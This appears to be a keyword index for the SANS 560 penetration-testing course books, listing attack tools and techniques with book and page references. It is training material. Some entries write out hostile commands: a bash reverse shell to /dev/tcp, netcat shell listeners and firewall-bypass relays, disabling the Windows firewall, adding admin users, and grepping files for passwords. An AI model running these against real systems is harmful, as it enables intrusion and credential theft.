

SANS 560 Merged Keyword / Subtopic Index

keyword	Book
/bin/bash -i > /dev/tcp/{ip}/{port} 0<&1 \\ Send output to tgt ip	5 / 158
1..255 % {ping -n 10.10.10.\$_ Select-string ttl} \\PS Ping Sweeper	4 / 95
3 Areas Required - Definition	1 / 29
Absinth - SQLi Blind Injection Tool	5 / 172
aircrack-ng-CUDA (cracks WPA2 PSK w/ GPU)	5 / 12
Appendixes (usage for clarity)	1 / 101
Appendixes Content	1 / 112
ARP Poisoning with Cain	5 / 29
Assessment: Addressing Discovered Vulnerabilities	1 / 16
Assessment: Definition	1 / 12
at & schtasks cmds - Windows	4 / 57
Attack Phase	1 / 20
Attack Phases (3)	1 / 20
Attack Proxy Tools List	5 / 97
AV Evasion - General	3 / 101
AV Evasion - Overview	3 / 100
Bing Dorking - Bishop Fox BHDB	1 / 166
Bing Dorking Tool // Bishop Fox BHDB	1 / 166
Bishop Fox Co // Google Dorks	1 / 166
Black Box Testing	1 / 77
Blind Injection Output - General	5 / 171
Blind Injection Syntax	5 / 172
Browser Exploitation Framework (BeEF)	5 / 131
Burp Suite - Web App Attack Proxy	5 / 97
Cain \\ ARP Poisoned Routing	5 / 29
Cain \\ ARP-Poisoning	5 / 28
Cain \\ Extracting smb comms from PCAP	5 / 38
Cain \\ General	5 / 25
Cain \\ Hash Calculator usage	5 / 33
Cain \\ Invoke Password Cracker Routine	5 / 40
Cain \\ Sniffer Helpers (Syskey Decoder)	5 / 28
Cain \\ Sniffer Overview	5 / 27
Cain \\ Supported Pswd Types	5 / 26
Capture Challenge / Response (Think Responder)	4 / 177
cat /etc/passwd // Pulls user accts from local nix box	2 / 157
cat script.db grep safe wc -l // counts # scripts in safe category	2 / 121
CeWL - Spiders web pages and generates unique words as pswd list	4 / 117
Challenge / Response \\ HMAC-MD5 --> OWF (incl svr challenge,time,client challenge)	4 / 154
Changing Firewall Settings	4 / 24
Charactoristics - <15/padding/(2) 7char parts / DES Key: KGS!@#\$ Key	4 / 149
Charactoristics: MD4 / Case Preserved / < 256char / Not Salted	4 / 150
Cipher /w	1 / 46
Client - Server Challenge - Response walkthru	4 / 152
Client-Side - Determine Programs in Use (Client-side)	3 / 13

Client-side // Browsers	3 / 11
Client-side // Document Readers	3 / 11
Client-side // Media Players	3 / 11
Client-side // Runtime Enviroments	3 / 11
Client-side Exploit - Invenroy Software	3 / 14
Client-side Exploit Delivery Considerations	3 / 12
Client-side exploitation // Method for testing Apps	3 / 15
Client-Side Exploits // Generals	3 / 10
Client-Side Test	1 / 18
Client-side test hosts // Using reperesentative client machines	3 / 16
Cmd Injection	5 / 149
Cmd Injection \\ Porting to a Shell w/o NC	5 / 158
Cmd Shell .vs Terminal Access	3 / 149
Cobalt Strike // Commercial Exploit Framework	3 / 20
Command Shell .vs Terminal	3 / 150
Command Shell .vs Terminal Access	3 / 149
Commercial Tools	1 / 35
Common Client-side Exploit Categories	3 / 11
Conclusion Guidelines	1 / 111
Conclusions	1 / 101
Controlling Services (Dealing w/ Disabled Svcs)	4 / 29
Controlling Services (Enum)	4 / 28
Controlling Services (start / stop)	4 / 29
Converting CLI to Scripts (General Guidelines)	4 / 38
Core Impact // Commercial Exploit Framework	3 / 20
Core Impact // Vuln Scanner capabilities	2 / 154
Cross-Site Request Forgery (CSRF / XSRF) ** Not a Script (html Element)	5 / 110
Cross-Site Request Forgery (CSRF / XSRF) General	5 / 110
Cross-Site Request Forgery (CSRF / XSRF) More...	5 / 114
Cryptanalysis Attack	1 / 19
Crystal Box Testing	1 / 77
Ctrl Charactors are not handled correctly -- Cause Shell Collapse	3 / 150
CUDA-Multiforcer (crack unsalted MD4/5, NT Hashes)	5 / 12
Daily Debrief - General	1 / 73
Definition & Required Components	5 / 80
Deleting Usr Accts	4 / 22
Dig - DNS Query Tool	1 / 158
dig - use syntax	1 / 159
Dig / DNS - Linux Zone Trf Tool	1 / 158
Dig Command	1 / 158
dig -t AXFR // nix dns zone transfer cmd	1 / 158
dir /b /s {start_path}\{file} // search for a file within a given path	4 / 20
dir /s "c:\program files" > inventory.txt // Capture 32bit software inventory on host	3 / 14
Displaying Enviroment Variables (set)	4 / 19
Djohn (Distribted JtR cracking tool)	4 / 11
Dnetj (JtR Distributed cracking tool)	5 / 11
DNS - Record Types	1 / 154

DNS Cache Snooping	1 / 157
Dradis - Pentest team collaboration tool	1 / 116
Dumping via Metasploit	4 / 171
echo user / pswd into /etc shadow and pswd cmd (see slide)	3 / 177
emacs - GUI-based text editor in *nix instances	99 / 99
Encoding XSS Attacks	5 / 136
Encrypt Test Machines	1 / 45
Enum \\ Enumerating Domain Users via Auth Session \\ Syntax	2 / 166
Enum \\ enum -D -u {usr} -f {pswd_file.ext} {tgt_ip} \\ SMB Bruteforce Pswd Guesser	4 / 133
Enum \\ enum -G {tgt ip} // Enum capture via SMB Grp Mbrshp via unauth session	2 / 159
Enum \\ enum -U {tgt ip} // Enum capture via SMB Usr accts via unauth session	2 / 159
Enum \\ enum -U {tgt ip} -u {usr} -p {pwwd} // Enum via SMB Usr accts via auth session	2 / 159
Enum \\ enum -u {usr} -p {pswd} -U {dc_IP} // Auth Sessions SMB Enum users from DC	2 / 166
Enum \\ Enumerating SIDs	2 / 160
Enum \\ SMB User / Group Capture; spts anon and auth sessions	2 / 159
Enum \\ Syntax	2 / 159
Enum \\ tool - Usage	2 / 166
Enum \\ Users	2 / 144
Etherpad - Pentest Collaboration Tool	1 / 117
Ethical Hacking	1 / 10
Ethical Hacking	1 / 15
Evading AV // Automating AV Evasion	3 / 103
execute -f cmd.exe -c \\n msfconsole exe's cmd.exe as channelized	3 / 92
Executive Summary - Report	1 / 101
ExifTool - Overview	1 / 125
Exploit Example Actions	3 / 4
Exploit source: Exploit-DB.com - Resource	1 / 33
Exploit source: Packetstorm Security - Resource	1 / 33
Exploit source: SEBUG Vulnerabilty DB - Resource	1 / 33
Exploit source: Security Focus BID Search - Resource	1 / 33
Exploitation - Definition	1 / 20
Exploitation Definition	3 / 4
Exploits - 3 Categories	3 / 8
External host - Determine if being blocked	2 / 27
Fiddler - Web App Attack Proxy	5 / 97
Findings - Report	1 / 106
Findings (H/M/L)	1 / 101
finger // Pulls local user accts from nix box	2 / 157
Firewall Concerns	1 / 42
Firewall Detection via nmap --badsum scan	2 / 57
Firewall Settings - Enumerate	4 / 23
Firewall Spoofting - nmap --badsum // sends invalid protocol checksum	2 / 57
FOCA	1 / 124
FOR /L Loops (Do While True)	4 / 32
FOR /L Loops (Output Handling)	4 / 34
FOR /F Loops (Gen Syntax)	4 / 36
FOR /F Loops (Pswd Guess Example)	4 / 37

FOR /L %i in (1,1,255) do @ping -n 1 10.10.10.%i find "TTL" \\ Ping sweep on tgt via CLI	4 / 35
FOR /L Loops (Ping Sweep Example)	4 / 35
FOR Loops (FOR /L)	4 / 32
FOR Loops (General)	4 / 31
Format - Report	1 / 101
Foundstone Scanning Service // Remote Vuln Scan Svc	2 / 154
FSDB - Foundstone Data Base // Google Dorks	1 / 166
FSDB // Foundstone Database	1 / 166
Ghostwriting {inj NOPS & other TTPs chg hash value} - AV	3 / 100
Goals of Scanning	2 / 4
Google Dork tool // SLDB	1 / 166
Google Dorking - File ext usage	1 / 163
Google Dorking - Search by topic // Categories	1 / 164
Google Dorking - Search Directives // examples	1 / 161
Google Dorking - Search Directives // examples - File types	1 / 163
Google Dorking - Search Directives // examples cont...	1 / 162
Google Hacking Database (GHDB)	1 / 164
GOOJFC - Get out of Jail Free Card	1 / 71
GPU MD5 (Crack Unsalted MD5)	5 / 12
grep tally /etc/pam.d (determine if acct lockout threshold set)	4 / 128
Hack Naked	1 / 42
Handling - TTL=0 // ICMP Type 11 TTL Time Exceeded in Transit	2 / 21
Hardening Templates	1 / 44
Hashcat (CPU only -based cracking)	5 / 13
Hashes	4 / 171
Header - Destination 128-bits	2 / 22
Header - Destination port // 32bits	2 / 21
Header - Hop Limit // Same as TTL in IPv4	2 / 22
Header - Source 128-bits	2 / 22
Header - TTL 8-bits	2 / 21
Header and Fields	2 / 22
Headers and fields	2 / 21
ICMP Unreachable Port Codes (Filtered Port)	2 / 39
Im2ntcrack - Metasploit framework tool to render pswd in correct case	4 / 115
Immunity Canvas // Commercial Exploit Framework	3 / 20
Injection Attack Types	5 / 108
Introduction Components - Report	1 / 104
ip neigh // nmap scan of host who share prot & link layer addr	2 / 59
ipconfig /displaydns (Win) \\ displays hosts known to tgt system	4 / 14
IPV4 Headers & Fields	2 / 21
IPv6 '::' = all zeros till next reperedented digit	2 / 58
IPV6 Headers & Fields	2 / 22
IPv6 Loopback //(0000:0000:0000:0000:0000:0000:0001) or (::1)	2 / 58
ISECOM	1 / 23
ISP Considerations	1 / 41
ISP Port Filtering	1 / 41

Jikto - Java-based variant of Nikto \\ performs internal XSS scans	5 / 130
John (JtR) \\ 4 Cracking Modes	5 / 5
John (JtR) \\ Conf files (by OS) \\ .conf or .ini	5 / 5
John (JtR) \\ Config File \\ John.conf	5 / 5
John (JtR) \\ Distributed Cracking	5 / 10
John (JtR) \\ Free .vs Commercial	5 / 4
John (JtR) \\ GPU Multi-threaded Pswd Cracking Tools	5 / 13
John (JtR) \\ GPU Pswd Cracking Tools	5 / 12
John (JtR) \\ john --restore \\ restarts john with the latest recovery (john.rec) file	5 / 7
John (JtR) \\ john --show {tgt_pswd_file} \\ Displays Pswds already cracked in john.pot	5 / 6
John (JtR) \\ john --test \\ Shows JtR speed comparisons (real .vs virtual)	5 / 9
John (JtR) \\ john.pot \\	5 / 6
John (JtR) \\ john.rec \\ Recovery File overview	5 / 7
John (JtR) \\ John-MPI (JtR distributed cracking tool)	5 / 11
John (JtR) \\ make clean linux-x86-sse2 \\ compiling john for sse2 extensions	5 / 9
John (JtR) \\ make clean linux-x86-sse2 \\ Complies JtR with SSE2 CPU extensions	5 / 16
John (JtR) \\ Tuning for Speed (MMX, SSE2)	5 / 9
John (JtR) \\ Viewing Status \\ Gusses, time, %, pswd Range	5 / 8
Kon-boot \\ Boot loader; alters kernel (win or nix); removes need for paswd entry (null)	4 / 131
Lair - Pentest Collaboration Tool	1 / 117
LANMAN	4 / 149
LANMAN Challenge	4 / 152
Linux / sudo su - //run command as root//	1 / 54
Local Privledge Escalation - Categories	3 / 18
Local Privledge Escalation - Suites	3 / 18
Local Privledge Escallation - General	3 / 17
LookupAccountSID	2 / 161
LoopAccount API	2 / 161
ls -r c:\users % {Select-String -path \$_ -pattern password} 2>\$null \\ Recursive search for passwd in file contents (PS)	4 / 93
MagicTree - Team Pentest Collaboration Tool	1 / 116
Maimon Scan \\ -sM	2 / 54
Maintaining Inventory - General	1 / 114
Maintaining Inventory - How Discovered	1 / 115
Mallory - Web App Attack Proxy	5 / 97
Manage Accounts and Groups	4 / 21
MBSA // MS Baseline Sect Analyzer - Software Inventory tool	3 / 14
MediaWiki - Pentest Team Collaboration toom	1 / 116
Metadata - Doc type of Interest	1 / 122
Metadata - General	1 / 121
Metadata - Sources of Documents	1 / 123
MetaSploit Pro // Vuln Scanner	2 / 154
Methdology Components	1 / 105
Microsoft Baseline Security Analyzer	3 / 14
Mindset and Concepts	1 / 6
mknod backpipe p \\ creates a FIFO Named Pipe listener in NC	3 / 182

more {file.ext} \\ Pages through a file in std out	4 / 18
Moving Files // Push .vs Pull	4 / 6
Moving Files \\ ASCII Mode End of File Correction	4 / 7
Moving Files \\ File Trf Services	4 / 7
Moving Files \\ MSF, Paste, Echo	4 / 9
Moving Files \\ Pilfering Loot (psdws, hashes, SAM, SSH Keys, etc...)	4 / 11
Moving Files \\ System Comms (mapped drives\recent access\zone files\ email addresses\pswd files\source code)	4 / 14
msf \\ ?; exit;quit;sysinfo;shutdown;reg	3 / 63
msf \\ <tab><tab> // same as wild card for selecting options	3 / 130
msf \\ Addl Modules Overview	3 / 71
msf \\ Advanced Settings (show advanced)	4 / 168
msf \\ Arsenal	3 / 21
msf \\ Autopwn - Enumerates Client-side Programs	3 / 13
msf \\ Backgrounding Active Session	3 / 58
msf \\ Console IF	3 / 67
msf \\ dabases import - supported 3rd party tools	3 / 133
msf \\ database - db_connect {connects to a db}	3 / 127
msf \\ Database - Pentest Collaboration Tool	1 / 117
msf \\ Database // Adding information	3 / 129
msf \\ Database Command Cmds	3 / 127
msf \\ database db-status // status of db connection	3 / 127
msf \\ Database Manual Add / Delete syntax	3 / 131
msf \\ Database Table Overview	3 / 128
msf \\ Database Usage Overview	3 / 127
msf \\ db_nmap {options} \\ launches nmap from msfconsole; importes results in to msf database	3 / 132
msf \\ db-export cmd overview	3 / 127
msf \\ Displaying / Interacting with Sessions	3 / 56
msf \\ execute {exe's a file on the target host}	3 / 92
msf \\ exit {returns to the prior prompt level in msfconsole}	3 / 93
msf \\ exploit (backgrounded - z)	3 / 87
msf \\ exploit -j (Jobify execution)	3 / 51
msf \\ Exploit Module // General desc and OS breakdown	3 / 27
msf \\ Exploit/multi/handler	3 / 27
msf \\ File Movement options - Upload; Download; Cat; Edit	4 / 9
msf \\ File System Cmds	3 / 64
msf \\ Framework Console Prompt	1 / 51
msf \\ General Overview / Specs	3 / 62
msf \\ getgui - automates provision of RDP on tgt client (has roll-back opt)	3 / 170
msf \\ getsystem	3 / 73
msf \\ getsystem not loaded via Privs if not admin/system	3 / 73
msf \\ gettelnet - automates provision of telnet on tgt client (no Rollback opt)	3 / 168
msf \\ getuid	3 / 90
msf \\ hashdump	3 / 72
msf \\ Hashdump (Priv Module)	3 / 72
msf \\ Hashdump and Hashdump Script	4 / 164

msf \\ hosts --add {host} \\ manually add host to msf database	3 / 131
msf \\ hosts --delete - Removes all hosts from msf-DB	3 / 146
msf \\ hosts -R - automatically add search results to the HOSTS variable in msfconsole	3 / 144
msf \\ hosts -S - searches msf DB for following criteria	3 / 144
msf \\ hosts -S linux - msf db search string to find linux hosts	3 / 144
msf \\ Ideltime	3 / 67
msf \\ Interface Definitions	3 / 25
msf \\ Jobs	3 / 54
msf \\ Keylogger	3 / 69
msf \\ Keyscan Options (Keylogger)	3 / 69
msf \\ keystroke logger options	3 / 96
msf \\ ls {list dir contents current location}	3 / 91
MSF \\ Metasploit Framework- General	3 / 20
msf \\ Mic Cmds	3 / 68
msf \\ migrate	4 / 188
msf \\ migrate {migrates to a different process}	3 / 95
msf \\ Module Definitions	3 / 20
msf \\ Module Types / Definitions	3 / 26
msf \\ Modules (Exploits; Payloads; Aux; Post-Module)	3 / 20
msf \\ msdopcode - looks up machine lang opcodes to find snippets for given functionality	3 / 24
msf \\ msfmap general overview (optional)	3 / 74
msf \\ msfpescan - Seeks win EXE/DLL's likely to spt/embed exploits	3 / 24
msf \\ Networking Cmds	3 / 66
msf \\ nmap Results import directly to msf database	3 / 132
msf \\ Payload Single (Windows) -- General Use and Use Cases	3 / 31
msf \\ Payloads // General	3 / 30
msf \\ Payloads // stager + stage(s) = Full Payload deployment	3 / 30
msf \\ Pivoting via Route Cmd; Redirect traffic from attacker host->thru tgt1 -> tgt2	3 / 70
msf \\ Port Forwarding & pivoting	3 / 66
msf \\ Priv Module	3 / 72
msf \\ privs (used when not sys on host)	3 / 71
msf \\ Process Cmds	3 / 65
msf \\ ps {display processes}	3 / 90
msf \\ Psexec w/ PTH \\ Module accepts hash or password	5 / 70
msf \\ pwd (show current dir location)	3 / 91
msf \\ Remove ALL Hosts from msf-db (hosts --delete)	3 / 146
msf \\ resource - Designated a .rc file to load	3 / 120
msf \\ RHOSTS - multiple target selection overview	3 / 130
msf \\ Route Cmd - Chgs tgt host routing tbls; not route traffic from attacker to other host	3 / 70
msf \\ run vnc - converts meterpreter access to full vnc access	3 / 173
msf \\ Screenshot	3 / 67
msf \\ Screenshot; Idletime;uictl	3 / 67
msf \\ session options / interaction	3 / 59
msf \\ sessions	3 / 89
msf \\ sessions -K (Kill a session)	3 / 59
msf \\ shell {opens a shell prompt to tgt host}	3 / 93

msf \\ Shell Prompt	1 / 51
msf \\ Stage Overview // Description of general categories	3 / 33
msf \\ Stager Types // Overview	3 / 32
msf \\ Stealth Scan uses Syn Scan!!!	3 / 130
msf \\ sysinfo {displays host info}	3 / 90
msf \\ TimeStomp	3 / 72
msf \\ uictl (Disable kb / mouse)	3 / 67
msf \\ use exploit{x}; set payload {x}; set {options}; exploit	99 / 99
msf \\ user interfaces - General Overview	3 / 25
msf \\ vulns -p {port#} \\ lists from msf DB all hosts with vulns on said port #	3 / 145
msf \\ vulns -p {port#} searches for vulns in msf DB listening on that port	3 / 145
msf \\ Webcam	3 / 68
msf \\ Webcams and Mic's	3 / 68
msfencode // depercated msfconsole payload encoder	3 / 103
msfmap \\ optional module for port scanning from within MSF compromised host	3 / 74
msfvenom - AV Evasion	3 / 103
msfvenom // msfconsole payload encoder	3 / 103
msfvenon -f exe // creates a windows executable	3 / 43
nc -l {tgt ip} -p{port}	2 / 171
nc -l -p {port#} 0<backpipe nc 127.0.0.1 22 1>backpipe \\NC Relay fw byp	3 / 182
nc -l -p {port#} -e /bin/sh \\ set up NC listner on that Linux host	3 / 156
nc -v -l -p {port} // Client User Agent / Banner grab	2 / 175
ncpa.cpl // Windows - Launches Networking Ctrl Pnl	1 / 57
nessus \\ Architecture	2 / 131
nessus \\ General	2 / 130
nessus \\ Results - General Oveview	2 / 135
nessus \\ Dangerous Plug-ins // General Info	2 / 134
nessus \\ Documenting Plug-in's	2 / 133
nessus \\ Plug-in Updates	2 / 132
nessus \\ Recording Scan Policies Use on test	2 / 133
nessus Vulnerability Scanner - General	2 / 130
net localgroup \\ List local groups on win host	4 / 21
net localgroup {group} {username} /del \\ Deleted local win user from a group	4 / 22
net localgroup administrators {username} /add \\ Win - add local usr to local Admins Group	4 / 21
net use \\{tgt ip} "" /u:"" // Windows SMB Null Session	2 / 158
net use \\{tgt_ip} /del \\ terminates an SMB session on remote tgt	4 / 27
net user \\ list local users on win host	4 / 21
net user {userName} {password} /add \\ Add a local User to a Win host	4 / 21
net user {usname} /del \\ Deletes a local win user account	4 / 22
Netcat - Banner Grabbing Syntax	2 / 173
netcat - Client Info Grabbing	2 / 175
netcat - General Overview	2 / 170
netcat - General Usage	2 / 172
netcat - Grabbing Client User Agent Strings	2 / 175
netcat - Options	2 / 171
netcat - Options / Flags	2 / 171

netcat - port scanner snytax	2 / 174
netcat - port scanner syntax	2 / 174
netcat - Service String gathering	2 / 174
netcat - Service-Is-Alive Heartbeat syntax	2 / 176
netcat // Service-Is-Alive queries	2 / 176
netcat \\ piping std in/out syntax	2 / 170
netcat \\ Piping stdin and stdout syntax	2 / 170
netcat Client Mode - General	2 / 171
netcat Listener Mode - General	2 / 171
netcat Service-Is-Dead scanner	2 / 177
netsh /? \\ displays networking settings for various options	4 / 23
netsh advfirewall set allprofiles state off // disables win firewall all profiles	3 / 77
netsh advfirewall show allprofiles \\ displays FW settings on local win host	4 / 23
netstat -natu \\ (Nix) Display host DNS info tgt knows	4 / 14
Network Services Test	1 / 18
Nikto - General	5 / 82
Nikto - Usage (3 pages long)	5 / 84
Nikto - Web App Vuln Scanner (General)	5 / 82
NIST 800_115 - Definition	1 / 25
NIX Crypt functions (by symbol (e.g. 1\$ =DES; 5\$=SHA-256; 6\$=SHA-512)	4 / 156
Nix Hosts sources : /etc/passwd; finger; who;	2 / 157
NLNZ - National Lib of New Zealand	1 / 124
nmap // db_nmap runs an nmap scan and stored results in msf_db	3 / 129
nmap \\ {--Scanflags} - allows custom flag states to be specified	2 / 55
nmap \\ All Ports Scan {-p 0-65536} - scan all ports	2 / 9
nmap \\ {-Pn -sV -6 fe80::20c0%eth0} - IPv6 connect scan, no pre-scan, ver info, IF eth0	2 / 59
nmap \\ ACK Scan (-sA) // scan through ACLs and Filters	2 / 54
nmap \\ ACK Scan \\ -sA	2 / 54
nmap \\ address probing (prot/port usage) for UID-0 .vs Non-UID-0 users	2 / 48
nmap \\ -badsum // endpoints do not send RST during badsum scans, slower	2 / 68
nmap \\ Connect Scan \\ -sT	2 / 52
nmap \\ Connect Scan (SCADA preferred Scans) //-T2 -sT	2 / 52
nmap \\ Connect Scan (-sT)	2 / 52
nmap \\ Default scans top 1000 ports	2 / 9
nmap \\ Fast option (Top 100 ports by default)	2 / 51
nmap \\ Filtered Responses - Not from device TCP Stack / something in middle	2 / 35
nmap \\ FIN Scan (-sF)	2 / 54
nmap \\ general	2 / 42
nmap \\ Invoke NSE	2 / 116
nmap \\ IPv6 // All Scan types supported incl NSE scripts	2 / 58
nmap \\ IPv6 Ping Sweep {--targets-ipv6-multicast-echo}	2 / 59
nmap \\ IPv6 Support General	2 / 58
nmap \\ IPv6 supported options	2 / 58
nmap \\ LUA Scripting Engine	2 / 116
nmap \\ LUA Scripting Engine (NSE)	2 / 116
nmap \\ Maimon Scan (-sM) FIN/ACK to 1	2 / 54
nmap \\ network sweeping (-sP) - general overview	2 / 49

nmap \\ nmap -6 // address 128bits (16 bytes); groups of 4-hex digits sep by colon	2 / 58
nmap \\ NSE // Display output --Script-Trace	2 / 116
nmap \\ NSE NBSTAT Scan (-n --script=nbstat.nse {tgt_ip}) - Returns Netbios name, MAC, open ports	2 / 123
nmap \\ NSE Scripts	2 / 116
nmap \\ NSE usage -n --script={script_name.nse} {tgt_ip} -p {tgt_port(s)}	2 / 122
nmap \\ Null Scan (-sN) // All cntl bits to 0	2 / 54
nmap \\ null scan \\ -sN	2 / 54
nmap \\ Option overview	2 / 43
nmap \\ OS Fingerprinting methods used	2 / 72
nmap \\ Output options	2 / 47
nmap \\ Output Options	2 / 47
nmap \\ --packet-trace option	2 / 43
nmap \\ -Pn (-P0) // skips tgt up status probe check	2 / 48
nmap \\ port scanning - General	2 / 51
nmap \\ Probing Overview (ports used usr / root access)	2 / 48
nmap \\ Runtime Interaction Commands	2 / 44
nmap \\ Script Categories	2 / 117
nmap \\ Scripting Engine (NSE) overview	2 / 115
nmap \\ scripts.db // Repository of all nmap scripts and categories	2 / 119
Nmap \\ services // File containing (Ranking most popular ports in order)	2 / 51
nmap \\ sP (Sweeping scan)	2 / 49
nmap \\ stealth / half open scans	2 / 43
nmap \\ Stealth Scan (half-open) {-sS}	2 / 53
nmap \\ -sV (or -A for all) // listens for response for 6sec; match = confirm	2 / 75
nmap \\ Sweeping Options	2 / 50
nmap \\ Sweeping Switches	2 / 50
nmap \\ SYN > {no Response} (Blocked {Nmap=Filtered})	2 / 35
nmap \\ SYN > ICMP Port Unreachable (Blocked {Nmap=Filtered})	2 / 35
nmap \\ SYN > RST (Closed Port)	2 / 34
nmap \\ SYN > SYN-ACK (Open Port)	2 / 34
nmap \\ SYN Scan (aka Half-Open, Stealth, Default mode) {-sS}	2 / 53
nmap \\ timing option / addition tuning options	2 / 46
nmap \\ Timing Options	2 / 45
nmap \\ Timing options (speed / serial .vs parallel)	2 / 45
nmap \\ top 100 ports by default	2 / 51
nmap \\ UDP In > {No Resp} (Closed; FW Blocking; or Open but data sent incorrect format)	2 / 40
nmap \\ UDP In > ICMP Port Unreachable (Closed / Blocked)	2 / 39
nmap \\ UDP in > UDP Back (Open)	2 / 39
nmap \\ UDP payload ports (7,53,111,123,137,161,500,1654,1812,2049)	2 / 56
nmap \\ UDP scan - linux closed ports - ICMP Port Unreachable 1 per sec max	2 / 56
nmap \\ UDP scan - General rules and Payloaded ports {-sU}	2 / 56
nmap \\ UDP Scan \\ -sU	2 / 56
nmap \\ UDP: Open filtered Nmap response	2 / 40
nmap \\ UDP: Closed Port Behavior (ICMP type 3/ code 3)	2 / 39
nmap \\ UDP: Filtered Port Behavior (ICMP 3 w/ codes 1,2,9,10,13)	2 / 39

nmap \\ UDP: Nothing back Scenarios	2 / 40
nmap \\ UDP: Open Port Behavior	2 / 39
nmap \\ Version Scanning	2 / 75
nmap \\ version scanning - General	2 / 74
nmap \\ version trace (--version-trace) - shows how it arrived at response	2 / 75
nmap \\ View all NSE Scripts gedit /opt/nmap-6.4.7/share/nmap/scripts.script.db	2 / 121
nmap \\ Xmas Scan (-sX) sets FIN/PSH/URG to 1	2 / 54
nmap \\ Xmas Tree Scan \\ -sX	2 / 54
nslookup - General Usage	1 / 155
nslookup - usage	1 / 156
NT Hash	4 / 150
ntdsxtract - parses nthashes from ntds.dit	4 / 148
NTLM v2	4 / 154
ocl Hashcat	5 / 13
oclHashcat (cpu/GPU-based password cracking)	5 / 13
Odyscus / Telemachus - Web App Attack Proxy	5 / 97
Open Source Security Testing (OSSTMM) - Definition	1 / 23
OpenVAS // Free Fork of Nessus 2	2 / 131
OpenVAS // General Overview	2 / 131
Order of scan phases	2 / 6
OS Fingerprinting - 2nd Generation (-O or -O2)	2 / 71
OS Fingerprinting - Concept	2 / 70
OS Fingerprinting - nmap tested value overview	2 / 72
OS Fingerprinting - nmap uses Active methds // sends packets measures response	2 / 71
OS Fingerprinting - Passive Fingerprinting	2 / 71
OSINT - Comptetitive Intelligence	1 / 150
OSINT - Job Openings	1 / 151
OSINT - Personnel	1 / 152
OSSTMM	1 / 23
Overall High-level Process	1 / 64
OWASP Testing Guide - Definition	1 / 26
OWASP ZAP \\ Features General	5 / 93
OWASP ZAP \\ Features Manual Request Editor/Hash Calc	5 / 95
OWASP ZAP \\ Features Proxies, Auth, Session Saving	5 / 96
OWASP ZAP \\ Features Scanning	5 / 94
OWASP ZAP \\ General	5 / 92
OWASP ZAP \\ Web App Attack Proxy	5 / 97
P0f2 - Passive OS Fingerprinting tool	2 / 71
Packet Forgery - Scapy	2 / 84
Packet Header - Source IP 32-bits	2 / 21
Password Encryption Functions (NIX)	4 / 156
Password Techniques - When to Use Each One	5 / 77
Passwords \\ Account Lockout (NIX) Locking root Acct via pam.d	4 / 128
Passwords \\ Cautionary Notes for Movement and Cracking on Hosts	4 / 122
Passwords \\ Clear-text Capture	4 / 120
Passwords \\ Destroying Cracked Pswds after Reported	4 / 123
Passwords \\ Determing case using lm2ntcrack (MSF)	4 / 115

Passwords \\ Dictionary Generation Tools	4 / 117
Passwords \\ Improving Speed of Cracking	4 / 119
Passwords \\ Info Leakage (leaving artifacts behind)	4 / 121
Passwords \\ LANMAN passwords are always stored Upper-Case	4 / 115
Passwords \\ Mimikatz kiwi overview	4 / 174
Passwords \\ NIX MD5 Password Scheme	4 / 158
Passwords \\ Rainbow Tables	4 / 118
Passwords \\ SAM - LANMAN Storage	4 / 147
Passwords \\ THC-Hydra Default tuning 16 tasks except SMB (1)	4 / 144
Passwords \\ What if root / Admin acct locked out - Manual rescue TTPs	4 / 131
Passwords \\ Win Password Reperentation (where to get hashes)	4 / 161
Passwords \\ Account Lockout (NIX) Avoiding Acct Lockout	4 / 129
Passwords \\ Account Lockout (NIX) Technical	4 / 128
Passwords \\ Cracking - Faster & Safer than Guessing	4 / 112
Passwords \\ Dictionaries (usage and building)	4 / 116
Passwords \\ Fgdump - Part of PWDump Familiy for windows	4 / 163
Passwords \\ Guessing .vs Cracking	4 / 112
Passwords \\ Hashdump (DEP Avoidance)	4 / 164
Passwords \\ LANMAN Challenge/Response Overview	4 / 152
Passwords \\ Meterpreter Hashdump - General	4 / 164
Passwords \\ Mimikatz Kiwi general	4 / 189
Passwords \\ NIX DES Pswd Scheme - General	4 / 157
Passwords \\ NIX Encryption methods (as reperented in /etc/shadow)	4 / 156
Passwords \\ NIX Password Reperentations	4 / 156
Passwords \\ NIX Unshadow - General (/etc/passwd & shadow files)	4 / 160
Passwords \\ NTLMv1 Challenge/Response - General Overview	4 / 152
Passwords \\ NTLMv2 Challenge/Response	4 / 154
Passwords \\ NTLMv2 HMAC-MD5 - Combo of: usr, domain hashed w/nt-pwd hash)	4 / 154
Passwords \\ NTMLv2 One-Way Function (OWF)	4 / 154
Passwords \\ Password Guessing (THC-Hydra)	4 / 133
Passwords \\ pwdump family - overview and charactoristics	4 / 162
Passwords \\ SAM ntds.dit (AD storage of acct`s)	4 / 148
Passwords \\ SAM NT Algorithm - General overview	4 / 150
Passwords \\ Sync'd Password Tips ** Always crack all hashes incase of reuse	4 / 114
Passwords \\ THC-Hydra (pw-inspector) tool // removes pswds <> org Pswd pol	4 / 134
Passwords \\ VSS Copying ntds.dit - General Guidelines	4 / 175
Passwords \\ Win - Sniffing Challenge/Response	4 / 177
Passwords \\ WIN Crypto types (LANMAN; NTLMv1; NTLMv2; MS-Kerberos)	4 / 151
Passwords \\ Windows SAM - General	4 / 147
Passwords \\ Account Lockout - General	4 / 125
Passwords \\ Account Lockout (Win) Technical Overview	4 / 126
Passwords \\ General Overview	4 / 111
Passwords \\ Pass-the-Hash (PTH) - General	4 / 120
Passwords \\ SAM LANMAN (2) 7 char chunks KGS!@#\$\$% DES fix key	4 / 149
Passwords \\ SAM LANMAN Hash Algorithm - Explained	4 / 149
Passwords \\ THC-Hydra	4 / 133
Passwords \\ WIN Challenge and Response - How it works	4 / 151

Patchlink Scanner // Vuln Scanner	2 / 154
Penetration Testing Execution Standard - Definition	1 / 24
Penetration Testing Framework - Definition	1 / 27
Pentest Methodology	1 / 23
Pentest overview	1 / 6
Pentest Process	1 / 61
Pentest Tools	1 / 36
Pentest Types	1 / 18
Pentest Types / Methodologies	1 / 22
Pentesting - Purpose	1 / 15
Pentesting Infrastructure	1 / 29
Pentesting OS	1 / 30
Physical Security Test	1 / 19
ping {attacker_ip} \\Web Cmd Injection Verification Check	5 / 150
Ping6 // IPv6 ping sweep utility in nmap	2 / 59
ping6 -I eth0 ff02::1 // IPv6 Multicast ping sweep local subnet hosts	2 / 59
ping6 -I eth0 ff02::2 // IPv6 Multicast ping sweep local subnet routers	2 / 59
portfwd add -I 1111 -p 2222 -r {tgt ip or host name} // Meterpreter port fwd pivot	3 / 66
Precomp - Raqinbow Tbl Generator from Ophcrack	5 / 55
Pre-Engagement \\ Shunning Pentest Traffic	1 / 76
